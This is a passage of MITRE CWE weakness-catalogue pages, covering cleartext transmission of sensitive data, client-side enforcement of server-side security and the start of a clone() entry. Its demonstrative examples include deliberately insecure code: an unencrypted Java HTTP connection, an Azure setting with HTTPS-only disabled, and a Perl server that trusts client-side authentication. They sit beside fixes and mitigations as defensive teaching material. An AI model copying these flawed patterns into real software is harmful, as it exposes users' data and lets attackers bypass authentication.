Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Hardware Design" (CWE-1194)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1207Debug and Test Problems
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.311Missing Encryption of Sensitive Data
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Architecture and DesignFor hardware, this may be introduced when design does not plan for an attacker having physical access while a legitimate user is remotely operating the device.
Operation
System Configuration
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

Class: System on Chip (Undetermined Prevalence)

Test/Debug Hardware (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Read Application Data; Modify Files or Directories

Anyone can read the information by gaining access to the channel being used for communication.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)
Example Language: Java 
try {
URL u = new URL("http://www.secret.example.org/");
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
hu.setRequestMethod("PUT");
hu.connect();
OutputStream os = hu.getOutputStream();
hu.disconnect();
}
catch (IOException e) {
//...
}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

Example 2

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used cleartext transmission of sensitive information in their OT products.

Example 3

A TAP accessible register is read/written by a JTAG based tool, for internal use by authorized users. However, an adversary can connect a probing device and collect the values from the unencrypted channel connecting the JTAG interface to the authorized user, if no additional protections are employed.

Example 4

The following Azure CLI command lists the properties of a particular storage account:

(informative)
Example Language: Shell 
az storage account show -g {ResourceGroupName} -n {StorageAccountName}

The JSON result might be:

(bad code)
Example Language: JSON 
{
"name": "{StorageAccountName}",
"enableHttpsTrafficOnly": false,
"type": "Microsoft.Storage/storageAccounts"
}

The enableHttpsTrafficOnly value is set to false, because the default setting for Secure transfer is set to Disabled. This allows cloud storage resources to successfully connect and transfer data without the use of encryption (e.g., HTTP, SMB 2.1, SMB 3.0, etc.).

Azure's storage accounts can be configured to only accept requests from secure connections made over HTTPS. The secure transfer setting can be enabled using Azure's Portal (GUI) or programmatically by setting the enableHttpsTrafficOnly property to True on the storage account, such as:

(good code)
Example Language: Shell 
az storage account update -g {ResourceGroupName} -n {StorageAccountName} --https-only true

The change can be confirmed from the result by verifying that the enableHttpsTrafficOnly value is true:

(good code)
Example Language: JSON 
{
"name": "{StorageAccountName}",
"enableHttpsTrafficOnly": true,
"type": "Microsoft.Storage/storageAccounts"
}

Note: to enable secure transfer using Azure's Portal instead of the command line:

  1. Open the Create storage account pane in the Azure portal.
  2. In the Advanced page, select the Enable secure transfer checkbox.

+ Observed Examples
ReferenceDescription
Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens.
Building Controller uses a protocol that transmits authentication credentials in plaintext.
Programmable Logic Controller (PLC) sends password in plaintext.
Passwords transmitted in cleartext.
Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
Product sends password hash in cleartext in violation of intended policy.
Remote management feature sends sensitive information including passwords in cleartext.
Backup routine sends password in cleartext in email.
Product transmits Blowfish encryption key in cleartext.
Printer sends configuration information, including administrative password, in cleartext.
Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
Product sends passwords in cleartext to a log server.
Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
+ Potential Mitigations

Phase: Architecture and Design

Before transmitting, encrypt the data using reliable, confidentiality-protecting cryptographic protocols.

Phase: Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Phase: Implementation

When designing hardware platforms, ensure that approved encryption algorithms (such as those recommended by NIST) protect paths from security critical data to trusted user applications.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Phase: Operation

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.
+ Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.818OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.934OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1148SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Transmission of Sensitive Information
The CERT Oracle Secure Coding Standard for Java (2011)SEC06-JDo not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
The CERT Oracle Secure Coding Standard for Java (2011)SER02-JSign then seal sensitive objects before sending them outside a trust boundary
Software Fault PatternsSFP23Exposed Data
ISA/IEC 62443Part 3-3Req SR 4.1
ISA/IEC 62443Part 4-2Req CR 4.1B
+ References
[REF-271] OWASP. "Top 10 2007-Insecure Communications". 2007. <http://www.owasp.org/index.php/Top_10_2007-A9>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 22: Failing to Protect Network Traffic." Page 337. McGraw-Hill. 2010.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Sections 3.1 and 3.10. 2022-08-16. <https://www.cisecurity.org/benchmark/azure>. URL validated: 2023-01-19.
[REF-1309] Microsoft. "Require secure transfer to ensure secure connections". 2022-07-24. <https://learn.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer>. URL validated: 2023-01-24.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-01-24Accellera IP Security Assurance (IPSA) Working GroupAccellera Systems Initiative
Submitted original contents of CWE-1324 and reviewed its integration into this entry.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated References
2010-04-05CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Time_of_Introduction
2010-06-21CWE Content TeamMITRE
updated Detection_Factors, Relationships
2010-12-13CWE Content TeamMITRE
updated Observed_Examples, Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, References
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-01-23CWE Content TeamMITRE
updated Abstraction
2018-03-27CWE Content TeamMITRE
updated References, Relationships, Type
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Related_Attack_Patterns, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Description, Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Plaintext Transmission of Sensitive Information

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID: 602
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.
+ Extended Description
When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms, resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.565Reliance on Cookies without Validation and Integrity Checking
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.603Use of Client-Side Authentication
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.290Authentication Bypass by Spoofing
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.300Channel Accessible by Non-Endpoint
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.836Use of Password Hash Instead of Password for Authentication
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.471Modification of Assumed-Immutable Data (MAID)
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1012Cross Cutting
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Architecture and DesignConsider a product that consists of two or more processes or nodes that must interact closely, such as a client/server model. If the product uses protection schemes in the client in order to defend from attacks against the server, and the server does not use the same schemes, then an attacker could modify the client in a way that bypasses those schemes. This is a fundamental design flaw that is primary to many weaknesses.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Availability

Technical Impact: Bypass Protection Mechanism; DoS: Crash, Exit, or Restart

Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

(good code)
Example Language: Perl 
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {

# username/pass is valid, go ahead and update the info!
writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
print "ERROR: Invalid Authentication!\n";
}

SERVER-SIDE (server.pl):

(bad code)
 
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
($username, $pass) = split(/\s+/, $args, 2);
$result = AuthenticateUser($username, $pass);
writeSocket($sock, "$result\n");
# does not close the socket on failure; assumes the

# user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
if (validateAddress($args)) {
$res = UpdateDatabaseRecord($username, "address", $args);
writeSocket($sock, "SUCCESS\n");
}
else {
writeSocket($sock, "FAILURE -- address is malformed\n");
}
}

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

Example 2

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used client-side authentication in their OT products.

+ Observed Examples
ReferenceDescription
SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.
ASP program allows upload of .asp files by bypassing client-side checks.
steganography products embed password information in the carrier file, which can be extracted from a modified client.
steganography products embed password information in the carrier file, which can be extracted from a modified client.
client allows server to modify client's configuration and overwrite arbitrary files.
+ Potential Mitigations

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7532009 Top 25 - Porous Defenses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1413Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 23, "Client-Side Security Is an Oxymoron" Page 687. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Time_of_Introduction
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2009-10-29CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description
2010-02-16CWE Content TeamMITRE
updated References
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Observed_Examples, References, Relationships
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Type
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Client-Side Enforcement of Server-Side Security
2009-01-12Design Principle Violation: Client-Side Enforcement of Server-Side Security

CWE-580: clone() Method Without super.clone()

Weakness ID: 580
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains a clone() method that does not call super.clone() to obtain the new object.
+ Extended Description
All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
+ Modes Of Introduction
